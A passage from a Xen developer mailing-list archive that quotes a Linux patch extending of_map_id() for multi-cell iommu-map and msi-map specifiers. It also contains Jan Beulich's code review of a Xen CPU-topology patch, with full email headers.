> @@ -2159,11 +2191,9 @@ int of_map_id(const struct device_node *np, u32 id,
>   		return 0;
>   	}
>   
> -	if (!map_len || map_len % (4 * sizeof(*map))) {
> -		pr_err("%pOF: Error: Bad %s length: %d\n", np,
> -			map_name, map_len);
> -		return -EINVAL;
> -	}
> +	if (map_bytes % sizeof(*map))
> +		goto err_map_len;
> +	map_len = map_bytes / sizeof(*map);
>   
>   	/* The default is to select all bits. */
>   	map_mask = 0xffffffff;
> @@ -2176,39 +2206,93 @@ int of_map_id(const struct device_node *np, u32 id,
>   		of_property_read_u32(np, map_mask_name, &map_mask);
>   
>   	masked_id = map_mask & id;
> -	for ( ; map_len > 0; map_len -= 4 * sizeof(*map), map += 4) {
> +
> +	while (offset < map_len) {
>   		struct device_node *phandle_node;
> -		u32 id_base = be32_to_cpup(map + 0);
> -		u32 phandle = be32_to_cpup(map + 1);
> -		u32 out_base = be32_to_cpup(map + 2);
> -		u32 id_len = be32_to_cpup(map + 3);
> +		u32 id_base, phandle, id_len, id_off, cells = 0;
> +		const __be32 *out_base;
> +
> +		if (map_len - offset < 2)
> +			goto err_map_len;
> +
> +		id_base = be32_to_cpup(map + offset);
>   
>   		if (id_base & ~map_mask) {
> -			pr_err("%pOF: Invalid %s translation - %s-mask (0x%x) ignores id-base (0x%x)\n",
> -				np, map_name, map_name,
> -				map_mask, id_base);
> +			pr_err("%pOF: Invalid %s translation - %s (0x%x) ignores id-base (0x%x)\n",
> +			       np, map_name, map_mask_name, map_mask, id_base);
>   			return -EFAULT;
>   		}
>   
> -		if (masked_id < id_base || masked_id >= id_base + id_len)
> -			continue;
> -
> +		phandle = be32_to_cpup(map + offset + 1);
>   		phandle_node = of_find_node_by_phandle(phandle);
>   		if (!phandle_node)
>   			return -ENODEV;
>   
> +		/*
> +		 * Assume 1-cell output specifier if the target node lacks the
> +		 * #cells property, for backward compatibility with controllers
> +		 * that predate the property (e.g. arm,gic-v2m-frame).
> +		 */
> +		if (bad_map || of_property_read_u32(phandle_node, cells_name, &cells))
> +			cells = 1;
> +
> +		if (cells > MAX_PHANDLE_ARGS) {
> +			pr_err("%pOF: %s cell count %d exceeds maximum\n",
> +			       phandle_node, cells_name, cells);
> +			of_node_put(phandle_node);
> +			return -EINVAL;
> +		}
> +
> +		if (offset == 0 && cells == 2) {
> +			bad_map = of_check_bad_map(map, map_len);
> +			if (bad_map) {
> +				pr_warn_once("%pOF: %s has 1-cell entries targeting 2-cell %s, treating as 1-cell output\n",
> +					     np, map_name, cells_name);
> +				cells = 1;
> +			}
> +		}
> +
> +		if (map_len - offset < 3 + cells) {
> +			of_node_put(phandle_node);
> +			goto err_map_len;
> +		}
> +
> +		out_base = map + offset + 2;
> +		offset += 3 + cells;
> +
> +		id_len = be32_to_cpup(map + offset - 1);
> +		id_off = masked_id - id_base;
> +		if (masked_id < id_base || id_off >= id_len) {
> +			of_node_put(phandle_node);
> +			continue;
> +		}
> +		if (id_len > 1 && cells > 1) {
> +			/*
> +			 * With 1 output cell we reasonably assume its value
> +			 * has a linear relationship to the input; with more,
> +			 * we'd need help from the provider to know what to do.
> +			 */
> +			pr_err("%pOF: Unsupported %s - cannot handle %d-ID range with %d-cell output specifier\n",
> +			       np, map_name, id_len, cells);
> +			of_node_put(phandle_node);
> +			return -EINVAL;
> +		}
> +
>   		if (filter_np && *filter_np && *filter_np != phandle_node) {
>   			of_node_put(phandle_node);
>   			continue;
>   		}
>   
>   		arg->np = phandle_node;
> -		arg->args[0] = masked_id - id_base + out_base;
> -		arg->args_count = 1;
> +		for (int i = 0; i < cells; i++)
> +			arg->args[i] = id_off + be32_to_cpu(out_base[i]);
> +		arg->args_count = cells;
>   
>   		pr_debug("%pOF: %s, using mask %08x, id-base: %08x, out-base: %08x, length: %08x, id: %08x -> %08x\n",
> -			np, map_name, map_mask, id_base, out_base,
> -			id_len, id, masked_id - id_base + out_base);
> +			np, map_name, map_mask, id_base,
> +			cells ? be32_to_cpup(out_base) : 0,
> +			id_len, id,
> +			cells ? id_off + be32_to_cpup(out_base) : id_off);
>   		return 0;
>   	}
>   
> @@ -2219,6 +2303,10 @@ int of_map_id(const struct device_node *np, u32 id,
>   	arg->args[0] = id;
>   	arg->args_count = 1;
>   	return 0;
> +
> +err_map_len:
> +	pr_err("%pOF: Error: Bad %s length: %d\n", np, map_name, map_bytes);
> +	return -EINVAL;
>   }
>   EXPORT_SYMBOL_GPL(of_map_id);
>   
> @@ -2228,18 +2316,21 @@ EXPORT_SYMBOL_GPL(of_map_id);
>    * @id: Requester ID of the device (e.g. PCI RID/BDF or a platform
>    *      stream/device ID) used as the lookup key in the iommu-map table.
>    * @arg: pointer to a &struct of_phandle_args for the result. On success,
> - *	@arg->args[0] contains the translated ID. If a map entry was matched,
> - *	@arg->np holds a reference to the target node that the caller must
> - *	release with of_node_put().
> + *	@arg->args_count will be set to the number of output specifier cells
> + *	and @arg->args[0..args_count-1] will contain the translated output
> + *	specifier values. If a map entry was matched, @arg->np holds a
> + *	reference to the target node that the caller must release with
> + *	of_node_put().
>    *
> - * Convenience wrapper around of_map_id() using "iommu-map" and "iommu-map-mask".
> + * Convenience wrapper around of_map_id() using "iommu-map", "#iommu-cells",
> + * and "iommu-map-mask".
>    *
>    * Return: 0 on success or a standard error code on failure.
>    */
>   int of_map_iommu_id(const struct device_node *np, u32 id,
>   		    struct of_phandle_args *arg)
>   {
> -	return of_map_id(np, id, "iommu-map", "iommu-map-mask", NULL, arg);
> +	return of_map_id(np, id, "iommu-map", "#iommu-cells", "iommu-map-mask", NULL, arg);
>   }
>   EXPORT_SYMBOL_GPL(of_map_iommu_id);
>   
> @@ -2252,17 +2343,20 @@ EXPORT_SYMBOL_GPL(of_map_iommu_id);
>    *	If non-NULL, the map property must exist (-ENODEV if absent). If
>    *	*filter_np is also non-NULL, only entries targeting that node match.
>    * @arg: pointer to a &struct of_phandle_args for the result. On success,
> - *	@arg->args[0] contains the translated ID. If a map entry was matched,
> - *	@arg->np holds a reference to the target node that the caller must
> - *	release with of_node_put().
> + *	@arg->args_count will be set to the number of output specifier cells
> + *	and @arg->args[0..args_count-1] will contain the translated output
> + *	specifier values. If a map entry was matched, @arg->np holds a
> + *	reference to the target node that the caller must release with
> + *	of_node_put().
>    *
> - * Convenience wrapper around of_map_id() using "msi-map" and "msi-map-mask".
> + * Convenience wrapper around of_map_id() using "msi-map", "#msi-cells",
> + * and "msi-map-mask".
>    *
>    * Return: 0 on success or a standard error code on failure.
>    */
>   int of_map_msi_id(const struct device_node *np, u32 id,
>   		  struct device_node * const *filter_np, struct of_phandle_args *arg)
>   {
> -	return of_map_id(np, id, "msi-map", "msi-map-mask", filter_np, arg);
> +	return of_map_id(np, id, "msi-map", "#msi-cells", "msi-map-mask", filter_np, arg);
>   }
>   EXPORT_SYMBOL_GPL(of_map_msi_id);
> diff --git a/include/linux/of.h b/include/linux/of.h
> index ea50b45d9ff7..374b249766a2 100644
> --- a/include/linux/of.h
> +++ b/include/linux/of.h
> @@ -465,7 +465,8 @@ const char *of_prop_next_string(const struct property *prop, const char *cur);
>   bool of_console_check(const struct device_node *dn, char *name, int index);
>   
>   int of_map_id(const struct device_node *np, u32 id,
> -	       const char *map_name, const char *map_mask_name,
> +	       const char *map_name, const char *cells_name,
> +	       const char *map_mask_name,
>   	       struct device_node * const *filter_np,
>   	       struct of_phandle_args *arg);
>   
> @@ -950,7 +951,8 @@ static inline void of_property_clear_flag(struct property *p, unsigned long flag
>   }
>   
>   static inline int of_map_id(const struct device_node *np, u32 id,
> -			     const char *map_name, const char *map_mask_name,
> +			     const char *map_name, const char *cells_name,
> +			     const char *map_mask_name,
>   			     struct device_node * const *filter_np,
>   			     struct of_phandle_args *arg)
>   {
> 



From xen-devel-bounces@lists.xenproject.org Thu Jul 23 14:07:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 14:07:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369208.1618075 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmu5J-0007v8-Iy; Thu, 23 Jul 2026 14:07:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369208.1618075; Thu, 23 Jul 2026 14:07:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmu5J-0007v0-Dm; Thu, 23 Jul 2026 14:07:37 +0000
Received: by outflank-mailman (input) for mailman id 1369208;
 Thu, 23 Jul 2026 14:07:36 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmu5I-0007u9-LB
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 14:07:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmu5I-0045Tz-25
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 16:07:36 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a622024-2eae-0a2a0a5409dd-0a2a4504bdae-14
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:07:35 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a622027-b57f-0a2a45040019-d155802ae89e-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:07:35 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-4954f5e8020so3609455e9.2
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 07:07:35 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c63bd3sm14982041f8f.27.2026.07.23.07.07.34
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 07:07:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784815655; x=1785420455; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=t2Z39gjDljzmghj0wBYM46+uVXypWWsuVv1ytjgC4ik=;
        b=MCxGtXU6AVdbc3L0+Fqr9fzwwscACv0lkyfJHMPEi82QODuwW3pxlMf9o+d0zrcJml
         2kFCwGJPR0BZ57AJHnSfLtjE8ufKXvyBj61810UZ/7INqBCxGVsiVUguy3gfMn+YquhB
         YI5205xzQEZGvRJmxxUFzVRxcjQZwiNh469tHOhtCvrtkBd3Gzg9m1K2QR/eumXtcEH9
         YPjT4gDMK29vGahoKN/NAbHs7CMxG5oF6KVXMiOJcm87Cn/q+5L/1PGEsutvYdugqKJi
         rZ+uyagl+CwZZoQL1TOlW7Orc50DABlltYq2H82LHUCUblb19KwiV1pBUxL07r2CaRqy
         8KCw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784815655; x=1785420455;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=t2Z39gjDljzmghj0wBYM46+uVXypWWsuVv1ytjgC4ik=;
        b=m4EN3w4Awj2d36BtsfKlcMBDDIGZiCQ6z+84nNiWLMYDwB0H3h0oq1Jvze+T0ybZ+T
         sLhro1IpE5KaFvAoSG87py0YdLd/VsY4v4/pL8QTLNwmbuVuuicJxpTpDSmYF6Ftsapb
         KGucUIVDnXlNXDL6l4lj0gyTRybUwPAO+kEtqQfxr2qXU2qxyLM49Y4tg4Qre0QYQDlj
         6QnLK+oeO4QJXN4yY6Pv39vejpd22JhTLgHyKLbVGNz0vadeuFVfcyIhseOAfEja/lWn
         P+fghixARLCIMR9rxqwxzuYXnuqFA6ySkMDAhhv5xu+ok/t/D1aIQu+EKVuZyH+BxhIQ
         DraQ==
X-Forwarded-Encrypted: i=1; AHgh+Rqa/X28FmGAH9+fFboyxTxUKO6a0C7/0512mLdUoEG8uC2C7rfUy/vdi+I6VeV0SHw8W8cNvrlIvMU=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwOxCsWSUPA1+lDOch7ih1PyDcN5etmW4HWKMSXmzxJUhWrOWgu
	S6pLG6TSNjKHPHqid28pegkQaI+QOscPCRx7dWXPaZ80QGmF1BZcuWPUEJqjkTo/Vw==
X-Gm-Gg: AR+sD13e1UO3bSIDuSWcsLa03oP5gwZ0LlDPmFiPzbqPyQs9fvrnf7I22jdYcbD6GKA
	O+L5E4/XsXIeZfBxgUpQeLsZkmu1eNR2skYGnP1O/ZEk/YjpBJI7vgbM+R4uqUeU9sfzfk+LFrG
	yplMFcS4Rm/5DJhE1zSPNmJFvkG8NESVXSUIrUMN/qqrHLZytm+6pTVaHrS92jgV+1qQEf/A1Kn
	AuKxEIprqr9AT+50JQUUV5yaW1u5p19ImQlvEsVsiSwyqyCcF20zdmkoUQnZPtt6ZYec6s82/M2
	FysUKXTesqYR32dJVoGXQouvBgGiCr4jKKlgQfeLokrz2rRMm2gprhyATY6Zuh12UTzjb0Ap1vD
	m0bCJOujokSz2fLCsfAm/NWWHftnpI9TRuU3My2S1fQm/CwDtwGOeZMwv1sDcaPysvAJl5UpiEh
	en4IvIpikkf2JgcKYmXRH4wpbFaS45cx963a6IvfcYsxAsjNj2YIEYvnijscTwD/mm8w==
X-Received: by 2002:a05:600c:8b63:b0:495:7990:a1d0 with SMTP id 5b1f17b1804b1-4957990a215mr4516475e9.19.1784815655444;
        Thu, 23 Jul 2026 07:07:35 -0700 (PDT)
Message-ID: <88b09f24-13c6-427b-b7a9-aa631e59420a@suse.com>
Date: Thu, 23 Jul 2026 16:07:33 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Mykyta_Poturai@epam.com, Stefano Stabellini <sstabellini@kernel.org>,
 Julien Grall <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 xen-devel@lists.xenproject.org
References: <20260720162819.308326-1-taka@valinux.co.jp>
 <20260720162819.308326-2-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260720162819.308326-2-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1784815655-C1AD0B50-3005842B/0/0
X-purgate-type: clean
X-purgate-size: 2134

On 20.07.2026 18:28, Hirokazu Takahashi wrote:
> --- /dev/null
> +++ b/xen/common/cpu-topology.c
> @@ -0,0 +1,62 @@
> +/* SPDX-License-Identifier: GPL-2.0-or-later */
> +
> +#include <xen/acpi.h>
> +#include <xen/cpu-topology.h>
> +#include <xen/cpumask.h>
> +#include <xen/dt-cpu-topology.h>
> +#include <xen/init.h>
> +#include <xen/xvmalloc.h>
> +
> +static void __init free_topology_table(void)
> +{
> +    unsigned int cpu;
> +
> +    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
> +    {
> +        free_cpumask_var(cpu_topology[cpu].thread_sibling);
> +        free_cpumask_var(cpu_topology[cpu].core_sibling);
> +        free_cpumask_var(cpu_topology[cpu].cluster_sibling);
> +    }
> +
> +    XVFREE(cpu_topology);
> +}
> +
> +void __init init_cpu_topology(void)
> +{
> +    unsigned int cpu;
> +    int ret;
> +
> +    cpu_topology = xvzalloc_array(struct cpu_topology, nr_cpu_ids);
> +    if ( !cpu_topology )
> +        return;
> +
> +    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
> +    {
> +        if ( !zalloc_cpumask_var(&cpu_topology[cpu].thread_sibling)
> +             || !zalloc_cpumask_var(&cpu_topology[cpu].core_sibling)
> +             || !zalloc_cpumask_var(&cpu_topology[cpu].cluster_sibling) )

In v6 the || here were correctly placed. Why did they move?

> --- a/xen/common/cpu.c
> +++ b/xen/common/cpu.c
> @@ -46,6 +46,10 @@ const unsigned long cpu_bit_bitmap[BITS_PER_LONG+1][BITS_TO_LONGS(NR_CPUS)] = {
>  #undef MASK_DECLARE_2
>  #undef MASK_DECLARE_1
>  
> +#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
> +struct cpu_topology *__ro_after_init cpu_topology;
> +#endif /* CONFIG_GENERIC_CPU_TOPOLOGY */

Looks like you also need to include xen/cpu-topology.h here. I can't see
it being included implicitly.

> --- a/xen/drivers/acpi/Kconfig
> +++ b/xen/drivers/acpi/Kconfig
> @@ -2,6 +2,9 @@
>  config ACPI
>  	bool
>  
> +config ACPI_CPU_TOPOLOGY
> +	bool
> +
>  config ACPI_LEGACY_TABLES_LOOKUP
>  	bool
>  

Did you forget to undo this change?

With all three adjustments:
Reviewed-by: Jan Beulich <jbeulich@suse.com> # common, acpi

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 14:12:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 14:12:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369218.1618083 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmu9c-00014E-VZ; Thu, 23 Jul 2026 14:12:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369218.1618083; Thu, 23 Jul 2026 14:12:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmu9c-000147-Sz; Thu, 23 Jul 2026 14:12:04 +0000
Received: by outflank-mailman (input) for mailman id 1369218;
 Thu, 23 Jul 2026 14:12:03 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmu9b-000141-PT
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 14:12:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmu9b-007mGd-69
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 16:12:03 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a622123-bab6-0a2a0a5309dd-0a2a4505cad8-34
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:12:03 +0200
Received: from [209.85.128.41] (helo=mail-wm1-f41.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a622132-4cb1-0a2a45050019-d1558029ec65-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:12:03 +0200
Received: by mail-wm1-f41.google.com with SMTP id
 5b1f17b1804b1-4954dff6536so5873365e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 07:12:03 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4956a4f2453sm159510405e9.3.2026.07.23.07.12.01
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 07:12:01 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784815922; x=1785420722; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=VsHiJZWUvdwFOkZ/ut93ESlUN3xBc2w5R4pbty2/grc=;
        b=JJjNYt2jnTlGJ9txMTFDIFb0HseF/J0UQ6IEYel0WyJKG5gViuCK8+4OLYUCNCLq/v
         3Md7/Jl6h+TlOO8iA7uhRJL/URhDE6MOIJefVvnPJ1a1k5SAHmf+v+989m8x/kJnYJvn
         zmiYGuvvg8h0EES4OI0OiMq870mcT5G6nsV5aO+sxt56Xbwsz+bVtz6t+qZ7gmOaarB/
         DKmYwrb838dR+fez4EicFjA2Fv5B/9rujfsQ6CEqqzi9lp1NKCDBJKWS++ckp1v0f6eM
         0f/DtRaMP002i+NODlv1zHx7SQau4rAqvbE0RVDmntJWpF5d9pVQTSzRB+oHZk86kPfN
         TCuA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784815922; x=1785420722;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=VsHiJZWUvdwFOkZ/ut93ESlUN3xBc2w5R4pbty2/grc=;
        b=K3pDgInMkLNpNPcdm/ERvk6Dmws2CHfPPvWQ8XNIEeC7citjX5OU8e4dW4sugM41qU
         ojQPA8ESUvXegfg9mjVM7u7FFoGZ2iK1vyV7YKvh+vn9k+0g7Y+RagM+X9wLlw8DuXjs
         k0Qn1Sn544cw9pxIBya76PrVeqcYaadmc0ueHgcMumznVPITv5xzAWadgwrQimoro2sz
         bw8Su6R+L8hgwXXZzJKZ1zLMyRPR/w+IzxdLt3vNT1FTslga8CT0rK6xHJTa/hxXTo7J
         n2BrIcKx45cm751YW5z/nPuXSNp1pkbSOiwgiwpWRuwRqseLoiKKoOTA91wfg2qd6ENv
         o8Bg==
X-Forwarded-Encrypted: i=1; AHgh+RqHiNaaXPd6Qhk+DuvK4IfIJqteBO74GUDJYYEV8mzaw63/6F1s1ZbRVMw1RdVc6GVxJnfsawlKNtI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxYe1BgLu58IhSJqd2NC30V6CNxRE6ZLlKaK/9tfJVF4VDuGmHS
	RkS6+aDGBPiGH6D9fIebiTNIWkrvaLsIsGwKhu/YbVArzQ2xGOmTQ7LKTWzhn7nAsw==
X-Gm-Gg: AR+sD11O7sYXOCRFBmVYaYjOOF8pwvTyckJ1zDKBqW0m2Xfjg6ZTEYsqHyUcrm2w7NY
	9DXSftKO9oS26O/c64S4gZNoMwmsPdCxUoFwwmf4nYcwgdNrZAXp6V6BHTE4GNKMG8U1wD2Tdc0
	a8poxHIx2CS8Goaw2qK4n4aTrBUfNASkRp58xAU1CXwGuMpHFh2y4PIVvTdNM1Uu1wCZrl5mN1p
	9x0hgCNM3G2ZsJD9MYjU1w4VqJCXXuLfMJsqrw0lS4pGF1DKRmCi9txL5krcjoq8seTtJ+DSFf4
	qSnAI6TzBeLvv2SfQ29Nw94boeI8NXSdgPJos8NERw1SrbGb1beiHhWUMo7u70VWht61DqtrwhJ
	KZ4B8aTO7dfO5MAg9apxGdiA2Cu2s5QsQp5J+VIn367R9X6L5Q5SlKbCDDluFhQlHzP26ZnXlGG
	9BBuS3aNZg2ZGIx+5Dv/d3O2x2yJPcZ4XLHeNf6EBWHoaEUVoBRccyeHdJZkbOYuJ2oA==
X-Received: by 2002:a05:600c:3b2a:b0:492:68bc:3237 with SMTP id 5b1f17b1804b1-49573d1416fmr34915595e9.32.1784815922480;
        Thu, 23 Jul 2026 07:12:02 -0700 (PDT)
Message-ID: <a2ff4b34-6035-43ba-a8b1-b308e59eede9@suse.com>
Date: Thu, 23 Jul 2026 16:12:00 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 2/5] xen/sched: Link CPU topology to scheduler
To: Hirokazu Takahashi <taka@valinux.co.jp>
